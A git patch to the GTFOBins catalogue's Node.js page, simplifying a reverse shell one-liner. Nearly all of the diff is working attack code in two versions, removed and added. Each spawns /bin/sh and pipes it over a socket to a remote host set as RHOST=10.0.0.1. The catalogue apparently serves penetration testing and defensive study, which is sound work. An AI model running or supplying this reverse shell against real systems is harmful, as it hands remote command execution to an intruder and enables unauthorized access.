From ac79267e7e0bd3237e5fbb12e226cebc3e8a4ca4 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 24 May 2018 00:40:03 +0200 Subject: [PATCH] Simplify node reverse shell --- _gtfobins/node.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/_gtfobins/node.md b/_gtfobins/node.md index 2f701f6..9013f47 100644 --- a/_gtfobins/node.md +++ b/_gtfobins/node.md @@ -15,10 +15,9 @@ functions: export RHOST=10.0.0.1 export RPORT=12345 node -e 'sh = require("child_process").spawn("/bin/sh"); - client = new require("net").Socket(); - client.connect(process.env.RPORT, process.env.RHOST, function () { - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); + net.connect(process.env.RPORT, process.env.RHOST, function () { + this.pipe(sh.stdin); + sh.stdout.pipe(this); + sh.stderr.pipe(this); });' ---- \ No newline at end of file +---